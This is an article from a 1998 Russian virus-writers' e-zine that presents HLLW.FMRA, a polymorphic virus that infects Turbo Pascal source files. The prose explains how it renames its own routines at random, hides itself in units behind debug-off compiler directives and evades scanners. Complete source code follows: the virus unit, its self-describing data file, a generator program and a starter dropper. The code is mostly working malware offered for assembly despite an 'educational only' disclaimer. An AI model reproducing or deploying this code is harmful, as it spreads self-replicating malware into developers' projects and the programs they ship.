[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 9, Dec 1998                                           file 004

                               Вирус HLLW.FMRA
                                               by RedArc

     Ну  вот,  собственно, FullMorph на языке высокого уровня должен выглядеть
приблизительно  вот  так.  Вирус  мутирует  (именно  мутирует,  а  не шифрует)
собственное  тело,  прячется от отладчика, то есть стелсируется. И при этом не
виден для антивирусов всех мастей.
     Кратко  об алгоритме работы. При старте инфицированной программы одним из
первых  будет  выполнен  код  вируса.  Он  просканирует  текущий диск в поиске
файлов  с  расширением  PAS.  Найдя такой файл вирус открывает его на чтение и
проверяет  на  наличие  в  нем  строки '{$IFNDEF', что является одновременно и
меткой вируса в зараженных файлах и проверкой прагм. Именно этой строкой вирус
проверяет  при  компиляции наличие прагм отладчика... Но об этом позже. И так,
если  строка-идентификатор  найдена, то вирус закрывает файл и ищет другой. Во
время  сканирования  файла  на  предмат  метки,  вирус так же проверяет формат
найденного файла. Если в найденном файле присутствует строка 'IMPLEMENTATION',
то вирус считает, что нашел исходный код TPU-файла и приступает к заражению.
     Заражение  происходит  вот  как:  вирус  таскает  с  собой  исходный код,
полученный  при  мутации  во  время собственного заражения. Он меняет названия
подпрограмм  в  своем  исходнике  на  случайные  имена, формирует два файла со
случайными  именами  и  расширениями PAS и INC. В файл с расширением PAS вирус
декодирует  и  записывает  собственный  исходник,  а  в файл с расширением INC
записывает в определенном виде этот же исходник. Файл INC подключается к файлу
PAS  как  данные.  В  жертву же вставляется текст, подключающий модуль-вирус в
раздел   используемых   модулей.   При  этом,  вставляемый  текст  обрамляется
инструкциями  компилятору, которые сообщают, что подключать модуль-вирус стоит
только в том случае, если отключена отладочная информация.
     Распространение.  Вирус  будет распространяться только в том случае, если
программист  откомпилирует  свою  программу,  использующую  один из зараженных
модулей, при этом отключив отладочную информацию (что называется, для передачи
готового  продукта  заказчику).  В модуле-вирусе в разделе инициализации стоит
вызов  главной  процедуры  вирусного  кода.  При  старте  программы управление
получают  сначала  вызовы  из  разделов  инициализации,  а  уж  потом основная
программа.  Так  как  вирусные  процедуры  имеют  имена, меняющиеся от копии к
копии,  то  к  одной  программе может быть подключено несколько инфицированных
модулей,  а следовательно, несколько копий вируса. Так как модули пользователя
так   же  могут  иметь  разделы  инициализации,  то  переход(ы)  на  раздел(ы)
инициализации вируса определить однозначно нельзя. Таким образом получаем, что
EXE-программа  инфицирует  программы  на  этапе  их создания. А почему бы нет?
Резидентные  вирусы  традиционно  инфицируют  программы  на этапе копирования,
создания,  открытия  или  закрытия... а нерезидентный вирус будет инфицировать
программы  на  этапе  их  создания.  До компиляции вирус живет, вернее спит, в
виде  собственного исходного кода, но только в файле со случайным именем и его
подпрограммы  названы  именами, присвоенными им генератором случайных чисел...
После  компиляции  программы, использующей инфицированные модули, вирус как бы
возрождается  и  начинает  искать новые файлы, дабы забыться в них тихим сном.
Невидимость.  Поскольку  файлы с расширением PAS не контролируют ни сканеры ни
ревизоры,  то  этот вирус будет свободно распространяться даже на компьютерах,
защищенных  Sheriff'ом.  Включать же такие файлы в проверяемые или, тем более,
неизменяемые,  никакого  смысла  нет  -  так  как такие файлы обычно живут у
программиста в компьютере и меняются в день по десять раз.
     Замечания.  Этот  вирус  создан исключительно для журнала и не может быть
использован  ни  в каких целях, кроме как в познавательных. Сканирование всего
диска  при  каждом  запуске  инфицированной  программы  делает  этот  вирус не
приспособленным  к  дикой  жизни.  Для  полной  красоты  можно было бы сделать
перестановку подпрограмм вируса местами, но уж больно возиться было не охота -
и так красиво получилось.
     Ну, собственно, и, все... Вот его исходник:

=== Cut ===                                                       FMRA_BEG.PAS
UNIT FMRA_BEG;

INTERFACE

{$I-}
USES DOS, CRT;

{$IFNDEF D+}
CONST HappyNewYear = 'Happy New Year';
{$ENDIF D+}

TYPE
  FMRA_PList = ^FMRA_TList;
  FMRA_TList = record
    Name : String[12];
    Next : FMRA_Plist;
    end;

CONST
     Exchange : Array [1..10] of String [15] =
     ('FMRA_',
      'Manager',
      'ChDrive',
      'UpStr',
      'RandomName',
      'InfectFile',
      'DetectUnitFile',
      'ScanDir',
      'Exchange',
      'RandomSelect');

{$I FMRA_INC.inc}

VAR
   FMRA_SR : SearchRec;
   FMRA_S : String;
   Exchange1 : Array [1..10] of String [15];

PROCEDURE FMRA_Manager;

IMPLEMENTATION

PROCEDURE FMRA_ChDrive (Drive : Byte);
BEGIN
     asm
        MOV AH, 0Eh
        MOV DL, Drive;
        INT 21h
     end;
END;

FUNCTION FMRA_UpStr (S : String) : String;
VAR
   S1 : String;
   i : Integer;
BEGIN
   S1 := S;
   for i := 1 to Length (S1) do
       S1 [i] := UpCase (S1 [i]);
   FMRA_UpStr := S1;
END;

FUNCTION FMRA_RandomName (Range : Byte) : String;
VAR
   S : String;
   I, J, K : Byte;
   t : Text;
BEGIN
     repeat
        S := '';
        K := 1 + Random (Range);
        if K < 7 then K := 7;
        for J := 1 to K do begin
            I := 65 + Random (26);
            S := S + Chr (I);
        end;
        Assign (t, S + '.pas');
        ReSet (t);
        if IOResult <> 0 then break;
        Close (t);
     until False;
     FMRA_RandomName := S;
END;

PROCEDURE FMRA_RandomSelect;
VAR
   I, J : Byte;
   Flag : Boolean;
BEGIN
     Exchange1 [1] := FMRA_RandomName (5);
     for I := 2 to 10 do
         Exchange1 [I] := FMRA_RandomName (14) + '_';
     repeat
     Flag := True;
     for J := 1 to 9 do
         for I := J+1 to 10 do
             if Exchange1 [J] = Exchange1 [I] then begin
                Exchange1 [I] := FMRA_RandomName (14) + '_';
                Flag := False;
             end;
     until Flag;
END;

PROCEDURE FMRA_Rename (var t, t1 : Text; S1 : String);
VAR
   S : String;
   I, J : Byte;
BEGIN
     ReSet (t);
     ReWrite (t1);
     While not Eof (t) do begin
           ReadLn (t, S);
           for I := 1 to 10 do begin
               while Pos (Exchange [I], S) > 0 do begin
                     J := Pos (Exchange [I], S);
                     Delete (S, J, Length (Exchange [I]));
                     Insert (Exchange1 [I], S, J);
               end;
           end;
           WriteLn (t1, S);
     end;
     Close (t1);
     Close (t);
     Erase (t);
     Rename (t1, S1);
END;

procedure FMRA_InfectFile (S : String);
var
    t1, t2 : Text;
    S1 : String;
    I, J : Integer;
    S2 : String [8];
begin
      S2 := FMRA_RandomName (8);
      Assign (t1, S2 + '.pas');
      ReWrite (t1);
      if IOResult <> 0 then Exit;
      for I := 1 to FMRA_MaxConst do begin
          S1 := FMRA_Const [I];
          while Pos ('#39', S1) > 0 do begin
                J := Pos ('#39', S1);
                Delete (S1, J, 3);
                Insert (#39, S1, J);
          end;
          while Pos ('#38', S1) > 0 do begin
                J := Pos ('#38', S1);
                Delete (S1, J, 3);
                Insert ('#39', S1, J);
          end;
          if Pos ('{$I ', S1) = 1 then
             S1 := '{$I ' + S2 + '.inc}';
          if Pos ('UNIT', S1) = 1 then
             S1 := 'UNIT ' + S2 + ';';
          WriteLn (t1, S1);
      end;
      Close (t1);
      Assign (t2, FMRA_RandomName (8) + '.pas');
      FMRA_RandomSelect;
      FMRA_Rename (t1, t2, S2 + '.pas');
      Assign (t1, S2 + '.inc');
      ReWrite (t1);
      if IOResult <> 0 then Exit;
      WriteLn (t1, 'CONST');
      WriteLn (t1, 'FMRA_MaxConst = ', FMRA_MaxConst, ';');
      WriteLn (t1, 'FMRA_Const : Array [1..FMRA_MaxConst] of String [150] =');
      WriteLn (t1, '(');
      for I := 1 to FMRA_MaxConst-1 do
          WriteLn (t1, #39, FMRA_Const [I], #39, ',');
      WriteLn (t1, #39, FMRA_Const [FMRA_MaxConst], #39, ');');
      Close (t1);
      Assign (t2, FMRA_RandomName (8) + '.inc');
      FMRA_Rename (t1, t2, S2 + '.inc');
      Assign (t1, S);
      ReSet (t1);
      if IOResult <> 0 then Exit;
      Assign (t2, 'Scheriff.pas');
      ReWrite (t2);
      while not Eof (t1) do begin
         ReadLn (t1, S1);
         if Pos ('USES ', FMRA_UpStr (S1)) > 0 then
            Insert ('{$IFNDEF D+} ' + S2 +', {$ENDIF D+} ', S1, Pos ('USES ', FMRA_UpStr (S1)) + 5);
         WriteLn (t2, S1);
      end;
      Close (t2);
      Close (t1);
      Erase (t1);
      Rename (t2, S);
end;

procedure FMRA_DetectUnitFile (S : String);
var
    t    : Text;
    Flag : Boolean;
    S1   : String;
begin
      Assign (t, S);
      ReSet (t);
      if IOResult <> 0 then Exit;
      Flag := False;
      while not Eof (t) do begin
            ReadLn (t, S1);
            if Pos ('{$IFNDEF', S1) > 0 then begin
               Flag := False;
               Break;
            end;
            if FMRA_UpStr (S1) = 'IMPLEMENTATION' then Flag := True;
      end;
      Close (t);
      if Flag then
         FMRA_InfectFile (S);
end;

procedure FMRA_ScanDir(stdir:PathStr);
  var
    n,L : FMRA_PList;
    m : PathStr;
    St : string[79];
    ch : char;
    DIR : DirStr;
    NAM : NameStr;
    EXT : EXTSTR;
begin
  FileMode := 0;
  L := nil;
  if stdir[Length(stdir)] <> '\' then
    stdir:=stdir+'\';
  m := stdir+'*.*';
  FindFirst(m,AnyFile, FMRA_SR);
  while dosError=0 do begin
    if ((FMRA_SR.Attr and Directory) <> 0) and ((FMRA_SR.Name<>'.') and
      (FMRA_SR.Name<>'..')) then begin
      New(n);
      N^.Next := L;
      N^.Name := FMRA_SR.Name;
      L := N;
      end
    else
      if (FMRA_SR.Attr and VolumeID=0) and (FMRA_SR.Attr and Directory=0) then begin
        FMRA_S := m;
        Delete (FMRA_S, Length (m)-2, 3);
        FMRA_S := FMRA_S + FMRA_SR.Name;
        FSPLIT (FMRA_S, DIR, NAM, EXT);
        IF (EXT = '.PAS') and (FMRA_SR.Attr and Hidden=0) THEN
           FMRA_DetectUnitFile (FMRA_S);
      end;
    FindNext(FMRA_SR);
    end;
  while L<> nil do begin
    m := Stdir+L^.Name;
    ChDir(m);
    if IOResult <> 0 then Exit;
    n := L;
    L := L^.next;
    Dispose(n);
    m := m+'\';
    if IOResult = 0 then
    FMRA_ScanDir(m);
    m := stdir;
    if m[length(m)-1] <> ':' then
      m[0] := chr(length(stdir)-1);
    ChDir(m);
    end;
end;

PROCEDURE FMRA_Manager;
VAR
    Home : PathStr;
    S    : String;
BEGIN
     Randomize;
     GetDir (0, Home);
     if Home[Length(Home)] = '\' then
        Delete (Home, Length(Home), 1);
     S := Home [1] + ':';
     FMRA_ChDrive (ORD(UpCase(S[1]))-65);
     FMRA_ScanDir(S);
     FMRA_ChDrive (ORD(UpCase(Home[1]))-65);
     ChDir(Home);
END;

BEGIN
      FMRA_Manager;
END.
=== Cut ===

     А это данные вируса:

=== Cut ===                                                       FMRA_INC.INC
CONST
FMRA_MaxConst = 265;
FMRA_Const : Array [1..FMRA_MaxConst] of String [150] = (
'UNIT FMRA_BEG;',

'INTERFACE',

'{$I-}',
'USES DOS, CRT;',

'{$IFNDEF D+}',
'CONST HappyNewYear = #39Happy New Year#39;',
'{$ENDIF D+}',

'TYPE',
'  FMRA_PList = ^FMRA_TList;',
'  FMRA_TList = record',
'    Name : String[12];',
'    Next : FMRA_Plist;',
'    end;',

'CONST',
'     Exchange : Array [1..10] of String [15] =',
'     (#39FMRA_#39,',
'      #39Manager#39,',
'      #39ChDrive#39,',
'      #39UpStr#39,',
'      #39RandomName#39,',
'      #39InfectFile#39,',
'      #39DetectUnitFile#39,',
'      #39ScanDir#39,',
'      #39Exchange#39,',
'      #39RandomSelect#39);',

'{$I FMRA_INC.inc}',

'VAR',
'   FMRA_SR : SearchRec;',
'   FMRA_S : String;',
'   Exchange1 : Array [1..10] of String [15];',

'PROCEDURE FMRA_Manager;',

'IMPLEMENTATION',

'PROCEDURE FMRA_ChDrive (Drive : Byte);',
'BEGIN',
'     asm',
'        MOV AH, 0Eh',
'        MOV DL, Drive;',
'        INT 21h',
'     end;',
'END;',

'FUNCTION FMRA_UpStr (S : String) : String;',
'VAR',
'   S1 : String;',
'   i : Integer;',
'BEGIN',
'   S1 := S;',
'   for i := 1 to Length (S1) do',
'       S1 [i] := UpCase (S1 [i]);',
'   FMRA_UpStr := S1;',
'END;',

'FUNCTION FMRA_RandomName (Range : Byte) : String;',
'VAR',
'   S : String;',
'   I, J, K : Byte;',
'   t : Text;',
'BEGIN',
'     repeat',
'        S := #39#39;',
'        K := 1 + Random (Range);',
'        if K < 7 then K := 7;',
'        for J := 1 to K do begin',
'            I := 65 + Random (26);',
'            S := S + Chr (I);',
'        end;',
'        Assign (t, S + #39.pas#39);',
'        ReSet (t);',
'        if IOResult <> 0 then break;',
'        Close (t);',
'     until False;',
'     FMRA_RandomName := S;',
'END;',

'PROCEDURE FMRA_RandomSelect;',
'VAR',
'   I, J : Byte;',
'   Flag : Boolean;',
'BEGIN',
'     Exchange1 [1] := FMRA_RandomName (5);',
'     for I := 2 to 10 do',
'         Exchange1 [I] := FMRA_RandomName (14) + #39_#39;',
'     repeat',
'     Flag := True;',
'     for J := 1 to 9 do',
'         for I := J+1 to 10 do',
'             if Exchange1 [J] = Exchange1 [I] then begin',
'                Exchange1 [I] := FMRA_RandomName (14) + #39_#39;',
'                Flag := False;',
'             end;',
'     until Flag;',
'END;',

'PROCEDURE FMRA_Rename (var t, t1 : Text; S1 : String);',
'VAR',
'   S : String;',
'   I, J : Byte;',
'BEGIN',
'     ReSet (t);',
'     ReWrite (t1);',
'     While not Eof (t) do begin',
'           ReadLn (t, S);',
'           for I := 1 to 10 do begin',
'               while Pos (Exchange [I], S) > 0 do begin',
'                     J := Pos (Exchange [I], S);',
'                     Delete (S, J, Length (Exchange [I]));',
'                     Insert (Exchange1 [I], S, J);',
'               end;',
'           end;',
'           WriteLn (t1, S);',
'     end;',
'     Close (t1);',
'     Close (t);',
'     Erase (t);',
'     Rename (t1, S1);',
'END;',

'procedure FMRA_InfectFile (S : String);',
'var',
'    t1, t2 : Text;',
'    S1 : String;',
'    I, J : Integer;',
'    S2 : String [8];',
'begin',
'      S2 := FMRA_RandomName (8);',
'      Assign (t1, S2 + #39.pas#39);',
'      ReWrite (t1);',
'      if IOResult <> 0 then Exit;',
'      for I := 1 to FMRA_MaxConst do begin',
'          S1 := FMRA_Const [I];',
'          while Pos (#39#38#39, S1) > 0 do begin',
'                J := Pos (#39#38#39, S1);',
'                Delete (S1, J, 3);',
'                Insert (#38, S1, J);',
'          end;',
'          while Pos (#39#38#39, S1) > 0 do begin',
'                J := Pos (#39#38#39, S1);',
'                Delete (S1, J, 3);',
'                Insert (#39#38#39, S1, J);',
'          end;',
'          if Pos (#39{$I #39, S1) = 1 then',
'             S1 := #39{$I #39 + S2 + #39.inc}#39;',
'          if Pos (#39UNIT#39, S1) = 1 then',
'             S1 := #39UNIT #39 + S2 + #39;#39;',
'          WriteLn (t1, S1);',
'      end;',
'      Close (t1);',
'      Assign (t2, FMRA_RandomName (8) + #39.pas#39);',
'      FMRA_RandomSelect;',
'      FMRA_Rename (t1, t2, S2 + #39.pas#39);',
'      Assign (t1, S2 + #39.inc#39);',
'      ReWrite (t1);',
'      if IOResult <> 0 then Exit;',
'      WriteLn (t1, #39CONST#39);',
'      WriteLn (t1, #39FMRA_MaxConst = #39, FMRA_MaxConst, #39;#39);',
'      WriteLn (t1, #39FMRA_Const : Array [1..FMRA_MaxConst] of String [150] =#39);',
'      WriteLn (t1, #39(#39);',
'      for I := 1 to FMRA_MaxConst-1 do',
'          WriteLn (t1, #38, FMRA_Const [I], #38, #39,#39);',
'      WriteLn (t1, #38, FMRA_Const [FMRA_MaxConst], #38, #39);#39);',
'      Close (t1);',
'      Assign (t2, FMRA_RandomName (8) + #39.inc#39);',
'      FMRA_Rename (t1, t2, S2 + #39.inc#39);',
'      Assign (t1, S);',
'      ReSet (t1);',
'      if IOResult <> 0 then Exit;',
'      Assign (t2, #39Scheriff.pas#39);',
'      ReWrite (t2);',
'      while not Eof (t1) do begin',
'         ReadLn (t1, S1);',
'         if Pos (#39USES #39, FMRA_UpStr (S1)) > 0 then',
'            Insert (#39{$IFNDEF D+} #39 + S2 +#39, {$ENDIF D+} #39, S1, Pos (#39USES #39, FMRA_UpStr (S1)) + 5);',
'         WriteLn (t2, S1);',
'      end;',
'      Close (t2);',
'      Close (t1);',
'      Erase (t1);',
'      Rename (t2, S);',
'end;',

'procedure FMRA_DetectUnitFile (S : String);',
'var',
'    t    : Text;',
'    Flag : Boolean;',
'    S1   : String;',
'begin',
'      Assign (t, S);',
'      ReSet (t);',
'      if IOResult <> 0 then Exit;',
'      Flag := False;',
'      while not Eof (t) do begin',
'            ReadLn (t, S1);',
'            if Pos (#39{$IFNDEF#39, S1) > 0 then begin',
'               Flag := False;',
'               Break;',
'            end;',
'            if FMRA_UpStr (S1) = #39IMPLEMENTATION#39 then Flag := True;',
'      end;',
'      Close (t);',
'      if Flag then',
'         FMRA_InfectFile (S);',
'end;',

'procedure FMRA_ScanDir(stdir:PathStr);',
'  var',
'    n,L : FMRA_PList;',
'    m : PathStr;',
'    St : string[79];',
'    ch : char;',
'    DIR : DirStr;',
'    NAM : NameStr;',
'    EXT : EXTSTR;',
'begin',
'  FileMode := 0;',
'  L := nil;',
'  if stdir[Length(stdir)] <> #39\#39 then',
'    stdir:=stdir+#39\#39;',
'  m := stdir+#39*.*#39;',
'  FindFirst(m,AnyFile, FMRA_SR);',
'  while dosError=0 do begin',
'    if ((FMRA_SR.Attr and Directory) <> 0) and ((FMRA_SR.Name<>#39.#39) and',
'      (FMRA_SR.Name<>#39..#39)) then begin',
'      New(n);',
'      N^.Next := L;',
'      N^.Name := FMRA_SR.Name;',
'      L := N;',
'      end',
'    else',
'      if (FMRA_SR.Attr and VolumeID=0) and (FMRA_SR.Attr and Directory=0) then begin',
'        FMRA_S := m;',
'        Delete (FMRA_S, Length (m)-2, 3);',
'        FMRA_S := FMRA_S + FMRA_SR.Name;',
'        FSPLIT (FMRA_S, DIR, NAM, EXT);',
'        IF (EXT = #39.PAS#39) and (FMRA_SR.Attr and Hidden=0) THEN',
'           FMRA_DetectUnitFile (FMRA_S);',
'      end;',
'    FindNext(FMRA_SR);',
'    end;',
'  while L<> nil do begin',
'    m := Stdir+L^.Name;',
'    ChDir(m);',
'    if IOResult <> 0 then Exit;',
'    n := L;',
'    L := L^.next;',
'    Dispose(n);',
'    m := m+#39\#39;',
'    if IOResult = 0 then',
'    FMRA_ScanDir(m);',
'    m := stdir;',
'    if m[length(m)-1] <> #39:#39 then',
'      m[0] := chr(length(stdir)-1);',
'    ChDir(m);',
'    end;',
'end;',

'PROCEDURE FMRA_Manager;',
'VAR',
'    Home : PathStr;',
'    S    : String;',
'BEGIN',
'     Randomize;',
'     GetDir (0, Home);',
'     if Home[Length(Home)] = #39\#39 then',
'        Delete (Home, Length(Home), 1);',
'     S := Home [1] + #39:#39;',
'     FMRA_ChDrive (ORD(UpCase(S[1]))-65);',
'     FMRA_ScanDir(S);',
'     FMRA_ChDrive (ORD(UpCase(Home[1]))-65);',
'     ChDir(Home);',
'END;',

'BEGIN',
'      FMRA_Manager;',
'END.');
=== Cut ===

     Так  как  данными  вируса  является  его  собственный  исходник,  то  при
модернизации  этого  самого  исходника необходимо и получить модернизированный
файл  данных. Для этого файл, содержащий текст модуля-вируса копируем в файл с
именем FMRA_INC.INC и запускаем программу FMRA_END на исполнение. Она сама все
сделает и подготовит...

=== Cut ===                                                       FMRA_END.PAS
PROGRAM FMRA_END;
VAR
    T1, T2 : Text;
    S : String;
    I, J : Integer;
BEGIN
      Assign (T1, 'FMRA_INC.INC');
      ReSet (T1);
      IF IORESULT <> 0 THEN EXIT;
      Assign (T2, 'FMRA.TMP');
      ReWrite (T2);
      I := 0;
      while not eof (t1) do begin
            ReadLn (t1, S);
            if S <> '' then begin
               Inc (I);
               while Pos ('#39', S) > 0 do begin
                     J := Pos ('#39', S);
                     Delete (S, J, 3);
                     Insert ('#38', S, J);
               end;
               while Pos (#39, S) > 0 do begin
                     J := Pos (#39, S);
                     Delete (S, J, 1);
                     Insert ('#39', S, J);
               end;
               if not eof (t1) then
                  S := #39 + S + #39 + ','
               else
                  S := #39 + S + #39 + ');'
            end;
            WriteLn (T2, S);
      end;
      Close (t2);
      Close (t1);
      Erase (t1);
      Rename (t2, 'FMRA_INC.INC');
      Assign (T1, 'FMRA_INC.INC');
      ReSet (T1);
      Assign (T2, 'FMRA.TMP');
      ReWrite (T2);
      WriteLn (t2, 'CONST');
      WriteLn (t2, 'FMRA_MaxConst = ', I, ';');
      WriteLn (t2, 'FMRA_Const : Array [1..FMRA_MaxConst] of String [150] = (');
      while not eof (t1) do begin
            ReadLn (t1, S);
            WriteLn (t2, S);
      end;
      Close (t2);
      Close (t1);
      Erase (t1);
      Rename (t2, 'FMRA_INC.INC');
END.
=== Cut ===

А это просто дрозофилка для начального размножения вируса

=== Cut ===                                                           FMRA.PAS
USES FMRA_BEG;

BEGIN
      WriteLn ('FMRA was started!');
END.
=== Cut ===